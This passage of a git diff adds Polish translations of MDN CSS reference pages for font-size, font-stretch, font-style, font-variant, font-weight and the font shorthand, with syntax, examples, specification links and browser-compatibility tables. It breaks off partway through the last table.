+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/CSS/font-size
+---
+<div>{{CSSRef}}</div>
+
+<p>The <strong><code>font-size</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> property specifies the size of the font. Setting this property may change the size of other items, too, since it is used to compute the value of <code>em</code>, <code>ex</code>, and various other relative {{cssxref("&lt;length&gt;")}} units.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;absolute-size&gt; values */
+font-size: xx-small;
+font-size: x-small;
+font-size: small;
+font-size: medium;
+font-size: large;
+font-size: x-large;
+font-size: xx-large;
+
+/* &lt;relative-size&gt; values */
+font-size: smaller;
+font-size: larger;
+
+/* &lt;length&gt; values */
+font-size: 12px;
+font-size: 0.8em;
+
+/* &lt;percentage&gt; values */
+font-size: 80%;
+
+/* Global values */
+font-size: inherit;
+font-size: initial;
+font-size: unset;
+</pre>
+
+<div class="hidden" id="font-size">
+<pre class="brush: html">&lt;div id="container"&gt;
+ &lt;p id="xx-small"&gt;xx-small&lt;/p&gt;
+ &lt;p id="x-small"&gt;x-small&lt;/p&gt;
+ &lt;p id="small"&gt;small&lt;/p&gt;
+ &lt;p id="medium"&gt;medium&lt;/p&gt;
+ &lt;p id="large"&gt;large&lt;/p&gt;
+ &lt;p id="x-large"&gt;x-large&lt;/p&gt;
+ &lt;p id="xx-large"&gt;xx-large&lt;/p&gt;
+ &lt;p id="twelve-px"&gt;12px&lt;/p&gt;
+ &lt;div id="parent-twelve-px"&gt;
+ 12px
+ &lt;p id="smaller"&gt;smaller&lt;/p&gt;
+ &lt;p id="larger"&gt;larger&lt;/p&gt;
+ &lt;p id="zero-dot-eight-em"&gt;0.8em&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;div id="parent-twenty-four-px"&gt;
+ 24px
+ &lt;p id="smaller"&gt;smaller&lt;/p&gt;
+ &lt;p id="larger"&gt;larger&lt;/p&gt;
+ &lt;p id="zero-dot-eight-em"&gt;0.8em&lt;/p&gt;
+ &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">#container {
+ width: 100%;
+ display: flex;
+ flex-wrap: wrap;
+}
+
+div &gt; p {
+ border: 1px solid black;
+ display: flex;
+ align-items: center;
+ margin: 8px;
+ padding: 8px;
+}
+
+#parent-twelve-px,
+#parent-twenty-four-px {
+ display: flex;
+ border: 1px solid black;
+ padding: 8px;
+ margin: 8px;
+}
+
+#parent-twelve-px {
+ font-size: 12px;
+}
+
+#parent-twenty-four-px {
+ font-size: 24px;
+}
+
+#xx-small {
+ font-size: xx-small;
+}
+
+#x-small {
+ font-size: x-small;
+}
+
+#small {
+ font-size: small;
+}
+
+#medium {
+ font-size: medium;
+}
+
+#large {
+ font-size: large;
+}
+
+#x-large {
+ font-size: x-large;
+}
+
+#xx-large {
+ font-size: xx-large;
+}
+
+#smaller {
+ font-size: smaller;
+}
+
+#larger {
+ font-size: larger;
+}
+
+#twelve-px {
+ font-size: 12px;
+}
+
+#zero-dot-eight-em {
+ font-size: 0.8em;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("font-size", 1200, 180, "", "", "example-outcome-frame")}}</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>The <code>font-size</code> property is specified in one of the following ways:</p>
+
+<ul>
+ <li>As one of the <a href="#absolute-size">absolute-size</a> or <a href="#relative-size">relative-size</a> keywords</li>
+ <li>As a <code>&lt;length&gt;</code> or a <code>&lt;percentage&gt;</code>, relative to the parent element's font size</li>
+</ul>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><a id="absolute-size" name="absolute-size"><code>xx-small</code>, <code>x-small</code>, <code>small</code>, <code>medium</code>, <code>large</code>, <code>x-large</code>, <code>xx-large</code></a></dt>
+ <dd>Absolute-size keywords, based on the user's default font size (which is <code>medium</code>).</dd>
+ <dt><a id="relative-size" name="relative-size"><code>larger</code>, <code>smaller</code></a></dt>
+ <dd>Relative-size keywords. The font will be larger or smaller relative to the parent element's font size, roughly by the ratio used to separate the absolute-size keywords above.</dd>
+ <dt><a id="&lt;length>" name="&lt;length>">{{cssxref("&lt;length&gt;")}}</a></dt>
+ <dd>
+ <p>A positive {{cssxref("&lt;length&gt;")}} value. For most font-relative units (such as <code>em</code> and <code>ex</code>), the font size is relative to the parent element's font size.</p>
+
+ <p>For font-relative units that are root-based (such as <code>rem</code>), the font size is relative to the size of the font used by the {{HTMLElement("html")}} (root) element.</p>
+ </dd>
+ <dt><a id="&lt;percentage>" name="&lt;percentage>">{{cssxref("&lt;percentage&gt;")}}</a></dt>
+ <dd>
+ <p>A positive {{cssxref("&lt;percentage&gt;")}} value, relative to the parent element's font size.</p>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> To maximize accessibility, it is generally best to use values that are relative to the user's default font size.</p>
+</div>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Possible_approaches">Possible approaches</h2>
+
+<p>There are several ways to specify the font size, including with keywords or numerical values for pixels or ems. Choose the appropriate method based on the needs for the particular web page.</p>
+
+<h3 id="Keywords">Keywords</h3>
+
+<p>Keywords are a good way to set the size of fonts on the web. By setting a keyword font size on the body element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly.</p>
+
+<h3 id="Pixels">Pixels</h3>
+
+<p>Setting the font size in pixel values (<code>px</code>) is a good choice when you need pixel accuracy. A px value is static. This is an OS-independent and cross-browser way of literally telling the browsers to render the letters at exactly the number of pixels in height that you specified. The results may vary slightly across browsers, as they may use different algorithms to achieve a similar effect.</p>
+
+<p>Font sizing settings can also be used in combination. For example, if a parent element is set to <code>16px</code> and its child element is set to <code>larger</code>, the child element displays larger than the parent element in the page.</p>
+
+<div class="note"><strong>Note:</strong> Defining font sizes in <code>px</code> is <em><a href="https://en.wikipedia.org/wiki/Web_accessibility">not accessible</a></em>, because the user cannot change the font size from the browser. For example, users with limited vision may wish to set the font size much larger than the size chosen by a web designer. Avoid using them for font sizes if you wish to create an inclusive design.</div>
+
+<h3 id="Ems">Ems</h3>
+
+<p>Another way of setting the font size is with <code>em</code> values. The size of an <code>em</code> value is dynamic. When defining the <code>font-size</code> property, an em is equal to the size of the font that applies to the parent of the element in question. If you haven't set the font size anywhere on the page, then it is the browser default, which is often 16px. So, by default 1em = 16px, and 2em = 32px. If you set a <code>font-size</code> of 20px on the body element, then 1em = 20px and 2em = 40px. Note that the value 2 is essentially a multiplier of the current em size.</p>
+
+<p>In order to calculate the em equivalent for any pixel value required, you can use this formula:</p>
+
+<pre class="brush: plain">em = desired element pixel value / parent element font-size in pixels</pre>
+
+<p>For example, suppose the font-size of the body of the page is set to 16px. If the font-size you want is 12px, then you should specify 0.75em (because 12/16 = 0.75). Similarly, if you want a font size of 10px, then specify 0.625em (10/16 = 0.625); for 22px, specify 1.375em (22/16).</p>
+
+<p>The em is a very useful unit in CSS, since it automatically adapts its length relative to the font that the reader chooses to use.</p>
+
+<p>One important fact to keep in mind: em values compound. Take the following HTML and CSS:</p>
+
+<pre class="brush: css">html {
+ font-size: 62.5%; /* font-size 1em = 10px on default browser settings */
+}
+span {
+ font-size: 1.6em;
+}</pre>
+
+<pre class="brush: html">&lt;div&gt;
+&lt;span&gt;Outer &lt;span&gt;inner&lt;/span&gt; outer&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>The result is:</p>
+
+<p>{{EmbedLiveSample("Ems", 400, 40)}}</p>
+
+<p>Assuming that the browser's default <code>font-size</code> is 16px, the words “outer” would be rendered at 16px, but the word “inner” would be rendered at 25.6px. This is because the inner span's <code>font-size</code> is 1.6 em which is relative to its parent's <code>font-size</code>, which is in turn relative to its parent's <code>font-size</code>. This is often called <strong>compounding</strong>.</p>
+
+<h3 id="Rems">Rems</h3>
+
+<p><code>rem</code> values were invented in order to sidestep the compounding problem. <code>rem</code> values are relative to the root <code>html</code> element, not the parent element. In other words, it lets you specify a font size in a relative fashion without being affected by the size of the parent, thereby eliminating compounding.</p>
+
+<p>The CSS below is nearly identical to the previous example. The only exception is that the unit has been changed to <code>rem</code>.</p>
+
+<pre class="brush: css">html {
+ font-size: 62.5%; /* font-size 1em = 10px on default browser settings */
+}
+span {
+ font-size: 1.6rem;
+}
+</pre>
+
+<p>Then we apply this CSS to the same HTML, which looks like this:</p>
+
+<pre class="brush: html">&lt;span&gt;Outer &lt;span&gt;inner&lt;/span&gt; outer&lt;/span&gt;</pre>
+
+<p>{{EmbedLiveSample("Rems", 400, 40)}}</p>
+
+<p>In this example, the words “outer inner outer” are all displayed at 16px (assuming that the browser's font-size has been left at the default value of 16px).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Example_1">Example 1</h3>
+
+<pre class="brush: css">/* Sets paragraph text to be very large */
+p { font-size: xx-large; }
+
+/* Sets &lt;h1&gt; text to be 2.5 times the size
+ of the text around it */
+h1 { font-size: 250%; }
+
+/* Sets text enclosed within span tag to be 16px */
+span { font-size: 16px; }
+</pre>
+
+<h3 id="Example_2">Example 2</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.small {
+ font-size: xx-small;
+}
+.larger {
+ font-size: larger;
+}
+.point {
+ font-size: 24pt;
+}
+.percent {
+ font-size: 200%;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h1 class="small"&gt;Small H1&lt;/h1&gt;
+&lt;h1 class="larger"&gt;Larger H1&lt;/h1&gt;
+&lt;h1 class="point"&gt;24 point H1&lt;/h1&gt;
+&lt;h1 class="percent"&gt;200% H1&lt;/h1&gt;</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample('Example_2','600','200')}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p><code>em</code> and <code>ex</code> units on the {{Cssxref("font-size")}} property are relative to the parent element's font size (unlike all other properties, where they're relative to the font size on the element). This means <code>em</code> units and percentages do the same thing for {{Cssxref("font-size")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}</td>
+ <td>{{Spec2('CSS3 Fonts')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-size')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Defines <code>font-size</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#font-size', 'font-size')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.font-size")}}</p>
diff --git a/files/pl/web/css/font-stretch/index.html b/files/pl/web/css/font-stretch/index.html
new file mode 100644
index 0000000000..751195d6e4
--- /dev/null
+++ b/files/pl/web/css/font-stretch/index.html
@@ -0,0 +1,77 @@
+---
+title: font-stretch
+slug: Web/CSS/font-stretch
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/font-stretch
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <strong>font-stretch</strong> wybiera normalny, zwężony lub poszerzony krój z rodziny czcionek.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<dl>
+ <dt>Wartości bezwględne</dt>
+ <dd> </dd>
+ <dd><code>font-stretch:</code> <code>normal</code> ;</dd>
+ <dd><code>font-stretch:</code> {{ mediawiki.external('<code>ultra-condensed</code> | <code>extra-condensed</code> | <code>condensed</code> | <code>semi-condensed</code>') }} ;</dd>
+ <dd><code>font-stretch:</code> {{ mediawiki.external('<code>semi-expanded</code> | <code>expanded</code> | <code>extra-expanded</code> | <code>ultra-expanded</code>') }} ;</dd>
+</dl>
+
+<dl>
+ <dt>Wartości względne</dt>
+ <dd> </dd>
+ <dd><code>font-stretch:</code> {{ mediawiki.external('<code>wider</code> | <code>narrower</code>') }} ;</dd>
+</dl>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>normal</dt>
+ <dd>Definiuje normalną szerokość kroju czcionki.</dd>
+</dl>
+
+<dl>
+ <dt>semi-condensed, condensed, extra-condensed, ultra-condensed</dt>
+ <dd>Definiuje krój czcionki węższy niż normalny, przy czym ultra-condensed jest najwęższy.</dd>
+</dl>
+
+<dl>
+ <dt>semi-expanded, expanded, extra-expanded, ultra-expanded</dt>
+ <dd>Definiuje krój czcionki szerszy niż normalny, przy czym ultra-expanded jest najszerszy.</dd>
+</dl>
+
+<dl>
+ <dt>wider</dt>
+ <dd>Wartość względna 'wider' ustawia szerszy o jedną wartość krój czcionki niż wartość odziedziczona (lecz nie szerszą niż ultra-expanded).</dd>
+</dl>
+
+<dl>
+ <dt>narrower</dt>
+ <dd>Wartość względna 'narrower' ustawia węższy o jedną wartość krój czcionki niż wartość odziedziczona (lecz nie węższą niż ultra-condensed).</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>h1 { font-stretch: extra-expanded }
+p { font-stretch: narrower}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p><strong>UWAGA:</strong> Ta własność CSS <strong>NIE JEST JESZCZE ZAIMPLEMENTOWANA</strong>, zobacz {{ Bug(3512) }}, by sprawdzić aktualny status prośby o dodanie.</p>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS2/fonts.html#propdef-font-stretch">CSS 2 fonts</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-stretch">CSS 3 fonts</a></li>
+</ul>
diff --git a/files/pl/web/css/font-style/index.html b/files/pl/web/css/font-style/index.html
new file mode 100644
index 0000000000..3c04d0a8ac
--- /dev/null
+++ b/files/pl/web/css/font-style/index.html
@@ -0,0 +1,49 @@
+---
+title: font-style
+slug: Web/CSS/font-style
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/font-style
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>font-style</code> definiuje kroje czcionki <code>normal</code> (określany również jako <code>upright</code> lub <code>roman</code>), <code>italic</code> oraz <code>oblique</code> spośród rodziny czcionek.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>normal, oblique, italic </dt>
+ <dd>Określa, że program powinien wybrać krój czcionki <code>normal</code>, <code>oblique</code> lub <code>italic</code> dla czcionki zdefiniowanej w {{ Cssxref("font-family") }}.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p> </p>
+
+<p><a href="/samples/cssref/font-style.html">Zobacz przykład</a></p>
+
+<p> </p>
+
+<pre>h1 { font-style: italic }
+p { font-style: oblique }
+
+</pre>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#font-style">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font-style">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-style">css3-fonts</a></li>
+</ul>
diff --git a/files/pl/web/css/font-variant/index.html b/files/pl/web/css/font-variant/index.html
new file mode 100644
index 0000000000..e1c3cab355
--- /dev/null
+++ b/files/pl/web/css/font-variant/index.html
@@ -0,0 +1,79 @@
+---
+title: font-variant
+slug: Web/CSS/font-variant
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/font-variant
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>font-variant</code> wybiera z rodziny czcionek wygląd normalny lub kapitaliki.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<dl>
+ <dd><code>font-variant:</code> {{ mediawiki.external('<code>normal</code> | <code>small-caps</code>') }} ;</dd>
+</dl>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>normal</dt>
+ <dd>Definiuje normalny krój czcionki.</dd>
+</dl>
+
+<dl>
+ <dt>small-caps</dt>
+ <dd>Definiuje czcionkę, która jest wyróżniona kapitalikami. Jeśli kapitaliki nie są dostępne, Mozilla będzie symulowała kapitaliki, np. poprzez użycie normalnego kroju czcionki i zamianę małych liter przeskalowanymi wielkimi literami.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>h1 { font-variant: small-caps }
+p { font-variant: small-caps}
+</pre>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS2/fonts.html#propdef-font-variant">CSS 2 fonts</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-variant">CSS 3 fonts</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>?</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/font-weight/index.html b/files/pl/web/css/font-weight/index.html
new file mode 100644
index 0000000000..8e4779355b
--- /dev/null
+++ b/files/pl/web/css/font-weight/index.html
@@ -0,0 +1,107 @@
+---
+title: font-weight
+slug: Web/CSS/font-weight
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/font-weight
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność {{ Cssxref("font-weight") }} określa wagę lub grubość czcionki.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<p><code>font-weight:</code> <code>normal</code> | <code>bold</code> | <code>bolder</code> | <code>lighter</code> | <code>100</code> | <code>200</code> | <code>300</code> | <code>400</code> | <code>500</code> | <code>600</code> | <code>700</code> | <code>800</code> | <code>900</code> | {{ Cssxref("inherit") }}</p>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>normal </dt>
+ <dd>Normalna waga czcionki. Identycznie jak 400.</dd>
+ <dt>bold </dt>
+ <dd>Pogrubiona czcionka. Identycznie jak 700.</dd>
+ <dt>lighter </dt>
+ <dd>Waga czcionki lżejsza o jedną wartość niż w elemencie rodzica (spośród dostępnych wag czcionki)</dd>
+ <dt>bolder </dt>
+ <dd>Waga czcionki cięższa o jedną wartość niż w elemencie rodzica (spośród dostępnych wag czcionki)</dd>
+ <dt>100, 200, 300, 400, 500, 600, 700, 800, 900 </dt>
+ <dd>Liczbowe wartość wag czcionek dla czcionek, które mają więcej niż tylko waga normalna i pogrubiona. Jeśli wybrana waga jest niedostępna, wtedy dla wartości 600-900 używana jest najbliższa dostępna większa wagi (lub jeśli takiej nie ma, najbliższa dostępna lżejsza waga), a dla wartości 100-500 używana jest najbliższa dostępna mniejsza waga (lub jeśli takiej nie ma, najbliższa dostępna większa waga). Oznacza to, że dla czcionek, które mają tylko wagi normalną i pogrubioną, wartości 100-500 stają się wagą normalną, a 600-900 pogrubioną.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+ Alice was beginning to get very tired of sitting by her sister on the
+ bank, and of having nothing to do: once or twice she had peeped into the
+ book her sister was reading, but it had no pictures or conversations in
+ it, 'and what is the use of a book,' thought Alice 'without pictures or
+ conversations?'
+&lt;/p&gt;
+
+&lt;div&gt;I'm heavy&lt;br/&gt;
+ &lt;span&gt;I'm lighter&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">/* Set paragraph text to be bold. */
+p {
+ font-weight: bold;
+}
+
+/* Set div text to two steps darker than
+ normal but less than a standard bold. */
+div {
+ font-weight: 600;
+}
+
+/* Sets text enclosed within span tag
+ to be one step lighter than the parent. */
+span {
+ font-weight: lighter;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Przykłady","400","300")}}</p>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#font-weight">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font-weight">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-weight">css3-fonts</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>3</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/font/index.html b/files/pl/web/css/font/index.html
new file mode 100644
index 0000000000..8e8c668216
--- /dev/null
+++ b/files/pl/web/css/font/index.html
@@ -0,0 +1,145 @@
+---
+title: font
+slug: Web/CSS/font
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/font
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Własność <code>font</code> jest skrótową własnością do ustawienia {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, {{ Cssxref("line-height") }} oraz {{ Cssxref("font-family") }} w jednym miejscu w arkuszu stylów.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: sprawdź indywidualne własności</li>
+ <li>Stosowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: tak</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}:</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<p><code>font:</code> [ &lt;{{ Cssxref("font-style") }}&gt; || &lt;{{ Cssxref("font-variant") }}&gt; || &lt;{{ Cssxref("font-weight") }}&gt; ]? &lt;{{ Cssxref("font-size") }}&gt; [ / &lt;{{ Cssxref("line-height") }}&gt; ]? &lt;{{ Cssxref("font-family") }}&gt;</p>
+
+<p><code>font:</code> <code>caption</code> | <code>icon</code> | <code>menu</code> | <code>message-box</code> | <code>small-caption</code> | <code>status-bar</code> | <code>-moz-window</code> | <code>-moz-document</code> | <code>-moz-workspace</code> | <code>-moz-desktop</code> | <code>-moz-info</code> | <code>-moz-dialog</code> | <code>-moz-button</code> | <code>-moz-pull-down-menu</code> | <code>-moz-list</code> | <code>-moz-field</code></p>
+
+<p><code>font:</code> {{ Cssxref("inherit") }}</p>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<p>Użycie skrótowej własności {{ Cssxref("font") }} ustawia własności pisma jako określone oraz ustawia wszystkie inne własności związane z czcionką do ich wartości początkowych.</p>
+
+<p>Zobacz {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }} oraz {{ Cssxref("font-family") }}, by sprawdzić prawidłowe wartości każdej własności.</p>
+
+<p>Również czcionki systemowe mogą być określone przy użyciu własności {{ Cssxref("font") }}<em>zamiast</em> określania indywidualnych własności pisma:</p>
+
+<dl>
+ <dt>caption </dt>
+ <dd>Czcionka używana w opisanych kontrolkach (na przykład w przyciskach, listach rozwijanych itd.).</dd>
+ <dt>icon </dt>
+ <dd>Czcionka używana do podpisywania ikon.</dd>
+ <dt>menu </dt>
+ <dd>Czcionka używana w menu (na przykład menu rozwijanym, listach menu).</dd>
+ <dt>message-box </dt>
+ <dd>Czcionka używana w oknach dialogowych.</dd>
+ <dt>small-caption </dt>
+ <dd>Czcionka używana do opisywania małych kontrolek.</dd>
+ <dt>status-bar </dt>
+ <dd>Czcionka używana w pasku stanu okna.</dd>
+ <dt>-moz-window </dt>
+ <dd> </dd>
+ <dt>-moz-document </dt>
+ <dd> </dd>
+ <dt>-moz-workspace </dt>
+ <dd> </dd>
+ <dt>-moz-desktop </dt>
+ <dd> </dd>
+ <dt>-moz-info </dt>
+ <dd> </dd>
+ <dt>-moz-dialog </dt>
+ <dd> </dd>
+ <dt>-moz-button </dt>
+ <dd> </dd>
+ <dt>-moz-pull-down-menu </dt>
+ <dd> </dd>
+ <dt>-moz-list </dt>
+ <dd> </dd>
+ <dt>-moz-field </dt>
+ <dd> </dd>
+</dl>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p><a href="/samples/cssref/font.html">Zobacz przykład</a></p>
+
+<pre>/* Ustawia rozmiar czcionki na 12pt oraz odstęp między liniami na 14pt.
+Ustawia rodzinę czcionek na bezszeryfowe */
+p { font: 12pt/14pt sans-serif }
+</pre>
+
+<pre>/* Ustawia rozmiar czcionki na 80% rozmiaru znacznika-rodzica lub wartości domyślnej
+(jeśli nie ma obecnego znacznika-rodzica) oraz ustawia rodzinę czcionek na bezszeryfowe */
+p { font: 80% sans-serif }
+</pre>
+
+<pre>/* Ustawia wagę (grubość) czcionki na pogrubioną, styl czcionki na kursywę,
+rozmiar na duży i rodzinę czcionek na szeryfowe */
+p { font: bold italic large serif }
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Składniki {{ Cssxref("font-size") }} oraz {{ Cssxref("font-family") }} skrótowej własności są obowiązkowe. Pominięcie ich jest błędem składniowym i powoduje, że cała własność zostanie zignorowana.</p>
+
+<p>Własności, dla których nie ma podanych żadnych wartości, są ustawiane do ich wartości domyślnej, którą jest <code>normal</code> dla wszystkich własności, które mogą być pominięte ({{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, oraz {{ Cssxref("line-height") }}).</p>
+
+<p>Własność {{ Cssxref("font-size-adjust") }} jest również ustawiana do jej wartości początkowej (<code>none</code>), kiedy określona jest skrótowa własność {{ Cssxref("font") }}.</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#font">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#propdef-font">CSS 2</a> (dla {{ Cssxref("font-size-adjust") }})</li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-ui/#font">css3-ui</a> (dla nowych wartości czcionek systemowych)</li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>3</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
